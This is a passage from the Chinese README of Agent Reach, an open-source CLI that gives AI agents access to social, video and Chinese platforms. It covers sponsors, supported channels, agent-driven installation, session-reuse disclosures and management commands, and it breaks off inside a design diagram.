the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu \u2014 one CLI, zero API fees.</p><hr /><h1 align=\"center\">\ud83d\udc41\ufe0f Agent Reach</h1> \n<p align=\"center\"> <strong>\u8ba9 AI Agent \u591f\u5f97\u7740\u5b83\u81ea\u5df1\u4e0a\u4e0d\u53bb\u7684\u4e92\u8054\u7f51</strong> </p> \n<p align=\"center\"> \u767b\u5f55\u5899\u540e\u7684\u5e73\u53f0\u3001\u89c6\u9891\u91cc\u7684\u5185\u5bb9\u3001\u4e2d\u6587\u5e73\u53f0\u3001\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e\uff0c\u4e00\u6761\u547d\u4ee4\u62ff\u5230 </p> \n<p align=\"center\"> <a href=\"https://trendshift.io/repositories/24387\"><img alt=\"Trendshift GitHub Trending #1 Repository of the Day\" src=\"https://trendshift.io/api/badge/repositories/24387\" /></a> <a href=\"https://star-history.com/#Panniantong/Agent-Reach&amp;Date\"><img alt=\"Star History Rank\" height=\"55\" src=\"https://api.star-history.com/badge?repo=Panniantong/Agent-Reach\" width=\"196\" /></a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/LICENSE\"><img alt=\"MIT License\" src=\"https://img.shields.io/badge/License-MIT-blue.svg?style=for-the-badge\" /></a> <a href=\"https://www.python.org/\"><img alt=\"Python 3.10+\" src=\"https://img.shields.io/badge/Python-3.10+-green.svg?style=for-the-badge&amp;logo=python&amp;logoColor=white\" /></a> <a href=\"https://github.com/Panniantong/agent-reach/stargazers\"><img alt=\"GitHub Stars\" src=\"https://img.shields.io/github/stars/Panniantong/agent-reach?style=for-the-badge\" /></a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/#%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B\">\u5feb\u901f\u5f00\u59cb</a> \u00b7 <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/README_en.md\">English</a> </p> \n<p align=\"center\"> <a href=\"https://discord.gg/NSZz22R39\"><img alt=\"\u52a0\u5165 Agent Reach Discord \u793e\u533a\" src=\"https://img.shields.io/badge/Discord-%E5%8A%A0%E5%85%A5%E7%A4%BE%E5%8C%BA-5865F2?style=for-the-badge&amp;logo=discord&amp;logoColor=white\" /></a> </p> \n<p align=\"center\"> \ud83d\udcac \u6709\u95ee\u9898\u3001\u60f3\u8981\u65b0\u5e73\u53f0\u3001\u6216\u8005\u60f3\u770b\u770b\u522b\u4eba\u600e\u4e48\u7528\uff1f\u6765 <a href=\"https://discord.gg/NSZz22R39\">Discord</a> \u804a\u804a\u3002 </p> \n<hr /> \n<h2>\u2764\ufe0f\u8d5e\u52a9\u5546</h2> \n<blockquote> \n <p><a href=\"mailto:pnt01@foxmail.com\">\u60f3\u51fa\u73b0\u5728\u8fd9\u91cc\uff1f</a></p> \n</blockquote> \n<details> \n \u70b9\u51fb\u5c55\u5f00 \n <table> \n  <tbody>\n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://get.brightdata.com/bdenai\"><img alt=\"Bright Data \u4eae\u6570\u636e\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/brightdata.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://get.brightdata.com/bdenai\">Bright Data \u4eae\u6570\u636e</a> | \u5168\u7403\u9886\u5148\u7684\u6570\u636e\u91c7\u96c6\u57fa\u7840\u8bbe\u65bd\u3002Scraper Studio \u667a\u80fd\u722c\u53d6\u5668\u8ba9\u4f60\u7528\u81ea\u7136\u8bed\u8a00\u4e00\u952e\u751f\u6210\u722c\u866b\uff0c\u65e0\u9700\u5199\u4ee3\u7801\uff1bUnlocker \u7f51\u7ad9\u89e3\u9501\u5668\u81ea\u52a8\u7ed5\u8fc7\u53cd\u722c\u866b\u673a\u5236\uff0c\u8f7b\u677e\u91c7\u96c6 Amazon\u3001Google\u3001LinkedIn\u3001TikTok \u7b49\u590d\u6742\u7f51\u7ad9\u6570\u636e\u3002\u5185\u7f6e 350+ \u73b0\u6210 API \u96c6\u6210\uff0c\u8986\u76d6\u7535\u5546\u3001\u793e\u4ea4\u3001\u641c\u7d22\u3001\u5730\u56fe\u7b49\u5168\u54c1\u7c7b\u6570\u636e\u6e90\uff0c\u76f4\u63a5\u8c03\u7528\u5f00\u7bb1\u5373\u7528\u30021.5 \u4ebf+ \u5168\u7403\u771f\u5b9e\u4f4f\u5b85 IP \u4fdd\u969c\u91c7\u96c6\u7a33\u5b9a\u6027\u3002\u6bcf\u6708\u514d\u8d39 5,000 \u6b21\u8bf7\u6c42\uff0c<a href=\"https://get.brightdata.com/bdenai\">\u7acb\u5373\u514d\u8d39\u6ce8\u518c</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.rapidproxy.io/?ref=pann\"><img alt=\"Rapidproxy\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/rapidproxy.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.rapidproxy.io/?ref=pann\">RapidProxy</a> \u662f\u4e13\u4e3a\u5f00\u53d1\u8005\u6253\u9020\u7684\u6570\u636e\u91c7\u96c6\u4ee3\u7406\u89e3\u51b3\u65b9\u6848\uff0c\u63d0\u4f9b\u7a33\u5b9a\u53ef\u9760\u7684\u4f4f\u5b85\u4ee3\u7406\u670d\u52a1\u3002\u62e5\u6709 9000 \u4e07+ \u5168\u7403\u4f4f\u5b85 IP\uff0c\u8986\u76d6 200+ \u56fd\u5bb6\u548c\u5730\u533a\uff0c\u652f\u6301\u667a\u80fd\u8f6e\u6362\u4e0e\u7cbe\u51c6\u5730\u7406\u5b9a\u4f4d\uff0c\u53ef\u7528\u4e8e\u7f51\u9875\u6293\u53d6\u3001AI \u6570\u636e\u91c7\u96c6\u4e0e\u8bad\u7ec3\u3001SEO \u76d1\u63a7\u3001\u7535\u5546\u6570\u636e\u5206\u6790\u7b49\u573a\u666f\uff0c\u5e2e\u52a9\u63d0\u5347\u6570\u636e\u91c7\u96c6\u6548\u7387\u4e0e\u7a33\u5b9a\u6027\u3002\u652f\u6301 Playwright\u3001Selenium\u3001Puppeteer \u7b49\u4e3b\u6d41\u81ea\u52a8\u5316\u6846\u67b6\uff0c\u6d41\u91cf\u6c38\u4e45\u6709\u6548\uff0c\u4ef7\u683c\u4f4e\u81f3 $0.55/GB\uff0c<a href=\"https://www.rapidproxy.io/?ref=pann\">\u652f\u6301\u514d\u8d39\u6d4b\u8bd5</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.browseract.ai/Agent\"><img alt=\"BrowserAct\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/browseract.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.browseract.ai/Agent\">BrowserAct</a> \u652f\u6301\u4ece Amazon\u3001LinkedIn\u3001X\u3001Google Maps \u7b49\u590d\u6742\u7f51\u7ad9\u63d0\u53d6\u4f60\u9700\u8981\u7684\u4efb\u610f\u6570\u636e\u3002\u4f60\u53ea\u9700\u7528\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u6293\u53d6\u9700\u6c42\uff0cAgent \u5c31\u4f1a\u57fa\u4e8e\u771f\u5b9e\u6d4f\u89c8\u5668\u81ea\u52a8\u63a2\u7d22\u5e76\u6d4b\u8bd5\u9875\u9762\u6d41\u7a0b\uff0c\u751f\u6210\u53ef\u9760\u3001\u53ef\u590d\u7528\u7684\u6570\u636e\u91c7\u96c6 Bot\uff0c\u5e76\u8fd4\u56de\u7ed3\u6784\u5316\u7ed3\u679c\u3002\u65e0\u9700\u624b\u52a8\u6784\u5efa\u722c\u866b\uff0c\u65e0\u9700\u7f16\u5199\u4ee3\u7801\u3002BrowserAct \u5185\u7f6e\u9690\u8eab\u6d4f\u89c8\u3001\u9a8c\u8bc1\u7801\u5904\u7406\u548c\u9ad8\u8d28\u91cf\u4f4f\u5b85\u4ee3\u7406\uff0c\u5e2e\u52a9\u4f60\u66f4\u7a33\u5b9a\u5730\u5b8c\u6210\u590d\u6742\u7f51\u9875\u6570\u636e\u91c7\u96c6\u3002\u65b0\u7528\u6237\u6ce8\u518c\u5373\u9001 1000 \u79ef\u5206\uff0c<a href=\"https://www.browseract.ai/Agent\">\u7acb\u5373\u514d\u8d39\u8bd5\u7528</a>\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.tencentcloud.com/act/pro/intl-openclaw?referral_code=G76Y819A&amp;lang=zh&amp;pg=\"><img alt=\"\u817e\u8baf\u4e91 OpenClaw\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/tencent-cloud.svg?sanitize=true\" width=\"150\" /></a></td> \n    <td>\u5728\u817e\u8baf\u4e91 Lighthouse \u79d2\u7ea7\u90e8\u7f72 OpenClaw \u5168\u80fd\u52a9\u624b\uff0c\u53ef\u901a\u8fc7\u5bf9\u8bdd\u4e1d\u6ed1\u63a5\u5165 Agent Reach\uff0c\u7ed9\u4f60\u7684 OpenClaw \u4e00\u952e\u88c5\u4e0a\u4e92\u8054\u7f51\u80fd\u529b\u3002</td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\"><img alt=\"CoreClaw\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/coreclaw.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\">CoreClaw</a> | \u7f51\u9875\u6293\u53d6\u5e73\u53f0\u4e0e\u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0cCoreClaw \u63d0\u4f9b 100+ \u73b0\u6210\u6570\u636e\u91c7\u96c6\u5de5\u5177\uff0c\u652f\u6301 Amazon\u3001TikTok\u3001Google Maps\u3001Instagram\u3001Facebook\u3001YouTube \u7b49\u5e73\u53f0\uff0c\u65e0\u9700\u4ee3\u7801\uff0c\u652f\u6301 JSON/CSV \u5bfc\u51fa\uff0c\u4ec5\u5bf9\u6210\u529f\u7ed3\u679c\u8ba1\u8d39\u3002<a href=\"https://www.coreclaw.com/?utm_source=github&amp;utm_medium=referral&amp;utm_campaign=Reach&amp;utm_term=Reach&amp;utm_id=Reach\">\u514d\u8d39$3\u6d4b\u8bd5\uff01</a></td> \n   </tr> \n   <tr> \n    <td align=\"center\" width=\"180\"><a href=\"https://www.ucloud.cn/site/active/astraflow?ytag=geo_waituo_Agent\"><img alt=\"\u661f\u56fe AstraFlow\" src=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/assets/sponsors/astraflow.png\" width=\"150\" /></a></td> \n    <td><a href=\"https://www.ucloud.cn/site/active/astraflow?ytag=geo_waituo_Agent\">\u4f18\u523b\u5f97\u661f\u56feastraflow\u5927\u6a21\u578b</a>\uff0c\u652f\u6301200+\u6a21\u578b\u4e00\u952e\u8c03\u7528\uff1a\u5185\u7f6e Kimi K3\u3001DeepSeek V4/V3\u3001Qwen 3\u3001GLM5.2\u3001happyhorse\u7b49\u5168\u7403\u9886\u5148\u5f00\u6e90\u5927\u6a21\u578b\uff0c\u65e0\u9700\u81ea\u8bad\uff0c\u5f00\u7bb1\u5373\u7528</td> \n   </tr> \n  </tbody>\n </table> \n</details> \n<hr /> \n<h2>\u4e3a\u4ec0\u4e48\u9700\u8981 Agent Reach\uff1f</h2> \n<p><strong>Agent Reach \u8ba9\u4f60\u7684 Agent \u771f\u6b63\u8fde\u4e0a\u4e92\u8054\u7f51\uff0c\u7528\u4e0a\u5b83\u81ea\u5df1\u591f\u4e0d\u7740\u7684\u5e73\u53f0\u548c\u80fd\u529b\u3002</strong></p> \n<p>Claude Code\u3001Codex\u3001Hermes Agent\u3001OpenClaw \u8fd9\u7c7b CLI Agent \u81ea\u5e26\u641c\u7d22\u548c\u7f51\u9875\u8bfb\u53d6\uff0c\u4f46\u4e0b\u9762\u8fd9\u4e9b\u5b83\u4eec\u57fa\u672c\u591f\u4e0d\u7740\uff1a</p> \n<ul> \n <li><strong>\u8981\u767b\u5f55\u624d\u80fd\u7528\u7684\u529f\u80fd</strong>\uff1a\u5728\u5c0f\u7ea2\u4e66\u641c\u7b14\u8bb0\u3001\u5728 X \u67e5\u8d26\u53f7\u52a8\u6001\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5\u7b49\u3002</li> \n <li><strong>\u89c6\u9891\u91cc\u7684\u5185\u5bb9</strong>\uff1aB\u7ad9\u548c YouTube \u7684\u5b57\u5e55\uff0c\u4ee5\u53ca YouTube \u89c6\u9891\u3001\u5c0f\u5b87\u5b99\u64ad\u5ba2\u7684\u8bed\u97f3\u8f6c\u6587\u5b57\u3002</li> \n <li><strong>\u4e2d\u6587\u5e73\u53f0</strong>\uff1aB\u7ad9\u3001\u5c0f\u7ea2\u4e66\u3001V2EX\u3001\u96ea\u7403\uff0c\u901a\u7528\u641c\u7d22\u8986\u76d6\u5f88\u5dee\u3002</li> \n <li><strong>\u5e72\u51c0\u7684\u7ed3\u6784\u5316\u6570\u636e</strong>\uff1a\u96ea\u7403\u884c\u60c5\u3001V2EX \u5e16\u5b50\u548c\u56de\u590d\u3001GitHub \u4ed3\u5e93\u548c issue\uff0c\u62ff\u5230\u7684\u662f\u6574\u7406\u597d\u7684\u5185\u5bb9\u3002</li> \n</ul> \n<p>Agent Reach \u628a\u8fd9\u4e9b\u5e73\u53f0\u80cc\u540e\u7684\u5de5\u5177\u66ff\u4f60\u88c5\u597d\u3001\u6d4b\u597d\uff0cAgent \u4e00\u6761\u547d\u4ee4\u5c31\u80fd\u7528\uff1a</p> \n<pre><code class=\"language-bash\">agent-reach channels                          # \u6709\u54ea\u4e9b\u6e20\u9053\u3001\u6bcf\u4e2a\u6e20\u9053\u80fd\u505a\u4ec0\u4e48\nagent-reach bilibili search \"\u5927\u6a21\u578b\"           # agent-reach &lt;\u6e20\u9053&gt; &lt;\u52a8\u4f5c&gt; [\u53c2\u6570]\nagent-reach read https://www.v2ex.com/t/123   # \u6309\u94fe\u63a5\u81ea\u52a8\u9009\u6e20\u9053\n</code></pre> \n<h3>\u2705 \u5728\u4f60\u7528\u4e4b\u524d\uff0c\u4f60\u53ef\u80fd\u60f3\u77e5\u9053</h3> \n<ul> \n <li><strong>\u9002\u7528\u4e8e\u54ea\u4e9b Agent\uff1f</strong> \u4e00\u5207 Agent \u90fd\u80fd\u7528\u3002</li> \n <li><strong>\u4f1a\u78b0\u6211\u7684\u6d4f\u89c8\u5668\u548c\u8d26\u53f7\u5417\uff1f</strong> \u8981\u767b\u5f55\u7684\u5e73\u53f0\u7528 Agent Reach \u81ea\u5df1\u7684\u4e13\u7528\u6d4f\u89c8\u5668\uff0c\u5728\u540e\u53f0\u8fd0\u884c\u3001\u4e0d\u5f39\u7a97\u3002\u7b2c\u4e00\u6b21\u7528\u67d0\u4e2a\u7f51\u7ad9\u65f6\uff0c\u4f1a\u628a\u4f60 Chrome \u91cc\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55\u590d\u5236\u4e00\u4efd\u8fc7\u53bb\uff0c\u539f\u6d4f\u89c8\u5668\u4e0d\u53d8\uff0c\u4e0d\u8bfb\u5bc6\u7801\u5e93\u3002\u590d\u5236\u8fc7\u6765\u7684\u901a\u5e38\u662f\u4e3b\u8d26\u53f7\uff0c\u5efa\u8bae\u6362\u6210\u5c0f\u53f7\uff0c\u505a\u6cd5\u89c1\u4e0b\u9762\u7684\"\u5b89\u5168\u6027\"\u3002\u8be6\u89c1<a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/agent_reach/skill/references/sessions.md\">\u4f1a\u8bdd\u914d\u7f6e</a>\u3002</li> \n</ul> \n<hr /> \n<h2>\u652f\u6301\u7684\u5e73\u53f0</h2> \n<p>\u4e0b\u8868\u662f\u5f53\u524d\u7248\u672c\u7684\u60c5\u51b5\u3002</p> \n<table> \n <thead> \n  <tr> \n   <th>\u6e20\u9053</th> \n   <th>\u7b49\u7ea7</th> \n   <th>\u80fd\u505a\u4ec0\u4e48</th> \n   <th>\u9700\u8981\u4ec0\u4e48</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>bilibili</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u641c\u7d22\u3001\u89c6\u9891\u4fe1\u606f\u3001\u70ed\u95e8\u3001\u5b57\u5e55</td> \n   <td>\u65e0\uff1b\u5b57\u5e55\u9700\u8981\u767b\u5f55\uff08\u626b\u7801\uff09</td> \n  </tr> \n  <tr> \n   <td>v2ex</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u70ed\u95e8\u3001\u8282\u70b9\u3001\u5e16\u5b50\u548c\u56de\u590d\u3001\u7528\u6237</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>github</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u641c\u4ed3\u5e93\u3001\u8bfb\u4ed3\u5e93/README\u3001\u8bfb issue \u548c PR\uff08\u542b\u8bc4\u8bba\uff09</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>youtube</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u89c6\u9891\u4fe1\u606f\u3001\u641c\u7d22\u3001\u5b57\u5e55\u3001\u8bed\u97f3\u8f6c\u6587\u5b57</td> \n   <td>\u65e0\uff1b\u8f6c\u6587\u5b57\u9700\u8981 Groq \u6216 OpenAI Key</td> \n  </tr> \n  <tr> \n   <td>web</td> \n   <td>\u9ed8\u8ba4</td> \n   <td>\u7f51\u9875\u641c\u7d22\u3001\u7f51\u9875\u9605\u8bfb\uff08\u4fdd\u5e95\uff09</td> \n   <td>\u65e0</td> \n  </tr> \n  <tr> \n   <td>xiaohongshu</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u7b14\u8bb0\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>xueqiu</td> \n   <td>\u53ef\u9009</td> \n   <td>\u5b9e\u65f6\u884c\u60c5\u3001\u641c\u80a1\u7968\u3001\u70ed\u5e16\u3001\u70ed\u80a1</td> \n   <td>\u884c\u60c5\u4e0d\u7528\u767b\u5f55\uff1b\u70ed\u5e16\u3001\u70ed\u80a1\u8981\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>boss</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u804c\u4f4d\u548c JD</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>xiaoyuzhou</td> \n   <td>\u53ef\u9009</td> \n   <td>\u64ad\u5ba2\u8f6c\u6587\u5b57</td> \n   <td>Groq Key</td> \n  </tr> \n  <tr> \n   <td>linkedin</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u804c\u4f4d\u3001\u8bfb\u804c\u4f4d\u8be6\u60c5</td> \n   <td>\u516c\u5f00\u804c\u4f4d\u4e0d\u7528\u767b\u5f55\uff1b\u7ad9\u5185\u641c\u7d22\u8981\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>reddit</td> \n   <td>\u53ef\u9009</td> \n   <td>\u641c\u5e16\u5b50\u3001\u8bfb\u6b63\u6587\u3001\u770b\u8bc4\u8bba\u3001\u770b\u7248\u5757</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>twitter</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u63a8\u6587\u3001\u7528\u6237\u8d44\u6599\u3001\u7528\u6237\u63a8\u6587\u3001\u8bfb\u63a8\u6587\u4e32</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>facebook</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u7d22\u3001\u4e3b\u9875\u8d44\u6599</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>instagram</td> \n   <td>\u5b9e\u9a8c</td> \n   <td>\u641c\u7528\u6237\u3001\u4e3b\u9875\u8d44\u6599\u3001\u7528\u6237\u5e16\u5b50</td> \n   <td>\u767b\u5f55</td> \n  </tr> \n </tbody> \n</table> \n<ul> \n <li><strong>\u9ed8\u8ba4</strong>\uff1a\u88c5\u597d\u5c31\u80fd\u7528\uff1b\u4e0d\u60f3\u8981\u4e5f\u53ef\u4ee5\u53bb\u6389\uff0c\u4ee5\u540e\u66f4\u65b0\u4e0d\u4f1a\u518d\u52a0\u56de\u6765\u3002</li> \n <li><strong>\u53ef\u9009</strong>\uff1a\u8bf4\u4e00\u53e5\"\u5e2e\u6211\u52a0\u4e0a XX\"\u5c31\u5f00\u542f\uff0c\u9700\u8981\u7684\u8f6f\u4ef6\u4f1a\u81ea\u52a8\u88c5\u597d\u3002</li> \n <li><strong>\u5b9e\u9a8c</strong>\uff1a\u80fd\u7528\uff0c\u4f46\u5e73\u53f0\u53cd\u722c\u66f4\u4e25\uff0c\u53ef\u80fd\u968f\u65f6\u5931\u6548\u3002</li> \n</ul> \n<hr /> \n<h2>\u5feb\u901f\u4e0a\u624b</h2> \n<p>\u628a\u8fd9\u53e5\u8bdd\u53d1\u7ed9\u4f60\u7684 Agent\uff1a</p> \n<pre><code>\u5e2e\u6211\u5b89\u88c5 Agent Reach\uff1ahttps://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/install.md\n</code></pre> \n<p>\u65e0\u8bba\u662f\u5b89\u88c5\u8fd8\u662f\u5347\u7ea7\uff0c\u90fd\u53ea\u9700\u8981\u8fd9\u4e00\u6761\u547d\u4ee4\u5c31\u884c\u4e86\u3002</p> \n<p>\u5269\u4e0b\u7684 Agent \u81ea\u5df1\u505a\u5b8c\u3002\u8fc7\u7a0b\u4e2d\u4f60\u53ef\u80fd\u4f1a\u88ab\u95ee\u5230\uff1a</p> \n<ul> \n <li><strong>\u5141\u8bb8\u5b83\u6267\u884c\u547d\u4ee4</strong>\uff1a\u5982\u679c Agent \u8bf4\u81ea\u5df1\u4e0d\u80fd\u8fd0\u884c\u547d\u4ee4\uff0c\u53bb\u5b83\u7684\u8bbe\u7f6e\u91cc\u6253\u5f00\"\u5141\u8bb8\u6267\u884c\u547d\u4ee4\"\u3002</li> \n <li><strong>\u88c5 uv</strong>\uff1auv \u662f\u4e00\u4e2a\u5b89\u88c5\u547d\u4ee4\u884c\u7a0b\u5e8f\u7684\u5c0f\u5de5\u5177\uff0c\u4e0d\u9700\u8981\u7ba1\u7406\u5458\u5bc6\u7801\u3002\u7535\u8111\u4e0a\u6ca1\u6709\u7684\u8bdd Agent \u4f1a\u5148\u88c5\u5b83\uff0c\u4f1a\u8ddf\u4f60\u8bf4\u4e00\u58f0\u3002</li> \n <li><strong>\u8981\u4e0d\u8981\u52a0\u53ef\u9009\u6e20\u9053</strong>\uff1a\u88c5\u5b8c\u540e Agent \u4f1a\u544a\u8bc9\u4f60\u54ea\u4e9b\u5df2\u7ecf\u80fd\u7528\uff08B\u7ad9\u3001V2EX\u3001GitHub\u3001YouTube\u3001\u7f51\u9875\uff09\uff0c\u4ee5\u53ca\u8fd8\u80fd\u52a0\u54ea\u4e9b\u3002\u4f60\u9009\u4e86\u518d\u52a0\uff0c\u4e5f\u53ef\u4ee5\u4ee5\u540e\u968f\u65f6\u8bf4\"\u5e2e\u6211\u52a0\u4e0a\u5c0f\u7ea2\u4e66\"\uff0c\u4e00\u6761\u547d\u4ee4\u5c31\u88c5\u597d\u3002</li> \n</ul> \n<p>\u5173\u4e8e\u767b\u5f55\uff1a\u90e8\u5206\u5e73\u53f0\u4f1a\u76f4\u63a5\u590d\u7528\u4f60\u7535\u8111\u4e0a\u5df2\u6709\u7684\u767b\u5f55\u3002\u60f3\u6362\u6210\u67d0\u4e2a\u7279\u5b9a\u8d26\u53f7\uff08\u6bd4\u5982\u5c0f\u53f7\uff09\uff0c\u8ddf Agent \u8bf4\u4e00\u58f0\u5c31\u884c\u3002Agent \u4ece\u4e0d\u66ff\u4f60\u767b\u5f55\uff0c\u4e5f\u4e0d\u4f1a\u8981\u4f60\u7684\u5bc6\u7801\u3002</p> \n<blockquote> \n <p>\u26a0\ufe0f PyPI \u4e0a\u53eb <code>agent-reach</code> \u7684\u5305\u4e0d\u662f\u672c\u9879\u76ee\uff0c\u8bf7\u52ff\u4ece PyPI \u5b89\u88c5\uff0c\u53ea\u7528 <a href=\"http://install.md\">install.md</a> \u91cc\u7684 GitHub \u5730\u5740\u3002</p> \n</blockquote> \n<hr /> \n<h2>\u88c5\u597d\u4e4b\u540e\u600e\u4e48\u7ba1</h2> \n<p>Agent Reach \u88c5\u7684\u6240\u6709\u4e1c\u897f\uff08\u5404\u6e20\u9053\u7684\u5de5\u5177\u3001\u767b\u5f55\u3001\u8bbe\u7f6e\uff09\u90fd\u653e\u5728\u4f60\u7535\u8111\u4e0a\u540c\u4e00\u4e2a\u6587\u4ef6\u5939\u91cc\uff08<code>~/.agent-reach/</code>\uff09\uff0c\u4e0d\u6563\u843d\u5230\u522b\u5904\u3002\u6240\u4ee5\u5347\u7ea7\u3001\u7ba1\u7406\u3001\u5220\u9664\u90fd\u5f88\u7701\u4e8b\uff0c\u4e00\u53e5\u8bdd\u5c31\u884c\u3002</p> \n<p>\u76f4\u63a5\u7528\u5927\u767d\u8bdd\u8ddf Agent \u8bf4\uff1a</p> \n<table> \n <thead> \n  <tr> \n   <th>\u4f60\u8bf4</th> \n   <th>\u5b83\u4f1a\u505a\u4ec0\u4e48</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>\"\u770b\u770b Agent Reach \u72b6\u6001\"</td> \n   <td>\u544a\u8bc9\u4f60\u6bcf\u4e2a\u6e20\u9053\u73b0\u5728\u80fd\u4e0d\u80fd\u7528\uff0c\u54ea\u4e9b\u662f\u4e0a\u6b21\u8fd8\u597d\u3001\u73b0\u5728\u574f\u4e86</td> \n  </tr> \n  <tr> \n   <td>\"\u52a0\u4e0a\u5c0f\u7ea2\u4e66\" / \"\u53bb\u6389\u5c0f\u7ea2\u4e66\"</td> \n   <td>\u5f00\u542f\u5e76\u88c5\u597d\u5b83\u9700\u8981\u7684\u4e00\u5207 / \u5173\u6389\u5b83\uff0c\u6e05\u6389\u5b83\u7684\u767b\u5f55\u548c\u4e13\u7528\u5de5\u5177</td> \n  </tr> \n  <tr> \n   <td>\"\u5c0f\u7ea2\u4e66\u767b\u5f55\u8fc7\u671f\u4e86\" / \"\u6362\u4e2a\u8d26\u53f7\" / \"\u9000\u51fa\u767b\u5f55\"</td> \n   <td>\u6253\u5f00\u767b\u5f55\u7a97\u53e3\uff0c\u7531\u4f60\u672c\u4eba\u767b\u5f55 / \u6e05\u6389\u8fd9\u4e2a\u7f51\u7ad9\u7684\u767b\u5f55</td> \n  </tr> \n  <tr> \n   <td>\"\u5347\u7ea7 Agent Reach\"</td> \n   <td>\u4e00\u6b21\u66f4\u65b0\u7a0b\u5e8f\u548c\u5404\u6e20\u9053\u7684\u5de5\u5177\uff0c\u5e76\u544a\u8bc9\u4f60\u8fd8\u9700\u8981\u505a\u4ec0\u4e48</td> \n  </tr> \n  <tr> \n   <td>\"\u5378\u8f7d Agent Reach\"</td> \n   <td>\u5148\u5217\u51fa\u8981\u5220\u7684\u4e1c\u897f\uff0c\u4f60\u786e\u8ba4\u540e\u518d\u5220</td> \n  </tr> \n  <tr> \n   <td>\"\u8ba9\u53e6\u4e00\u4e2a AI \u4e5f\u80fd\u7528\"</td> \n   <td>\u7ed9\u90a3\u4e2a AI \u4e5f\u653e\u4e00\u4efd\u4f7f\u7528\u8bf4\u660e</td> \n  </tr> \n </tbody> \n</table> \n<p>\u51fa\u4e86\u95ee\u9898\uff0cAgent \u4f1a\u544a\u8bc9\u4f60\u662f\u54ea\u4e2a\u5e73\u53f0\u3001\u4ec0\u4e48\u539f\u56e0\u3001\u4e0b\u4e00\u6b65\u600e\u4e48\u505a\u3002\u5e38\u89c1\u95ee\u9898\u89c1 <a href=\"https://raw.githubusercontent.com/Panniantong/Agent-Reach/main/docs/troubleshooting.md\">troubleshooting.md</a>\u3002</p> \n<hr /> \n<h2>\u8bbe\u8ba1\u7406\u5ff5</h2> \n<h3>\ud83d\udd0c \u6bcf\u4e2a\u5e73\u53f0 = \u9996\u9009 + \u5907\u9009\u7684\u6709\u5e8f\u5de5\u5177\u5217\u8868</h3> \n<p>\u6bcf\u4e2a\u5e73\u53f0\u7684\u6bcf\u4e2a\u52a8\u4f5c\u90fd\u6709\u4e00\u4e2a\u6309\u987a\u5e8f\u5c1d\u8bd5\u7684\u5de5\u5177\u5217\u8868\u3002\u6bd4\u5982\u8bfb B\u7ad9\u89c6\u9891\u5148\u7528 bili-cli\uff0c\u5931\u8d25\u4e86\u81ea\u52a8\u6362 B\u7ad9\u516c\u5f00\u63a5\u53e3\uff1b\u8bfb\u7f51\u9875\u5148\u7528 Jina Reader\uff0c\u518d\u7528 Exa\u3002</p> \n<pre><code class=\"language-mermaid\">flowchart LR\n    A[Agent] --&gt;|agent-reach \u6e20\u9053 \u52a8\u4f5c| B[Agent Reach]\n    B --&gt; C{\u6309\u987a\u5e8f\u5c1d\u8bd5}\n    C --&gt;|\u9996\u9009| D[\u4e0a\u6e38\u5de5\u5177 1]\n    C 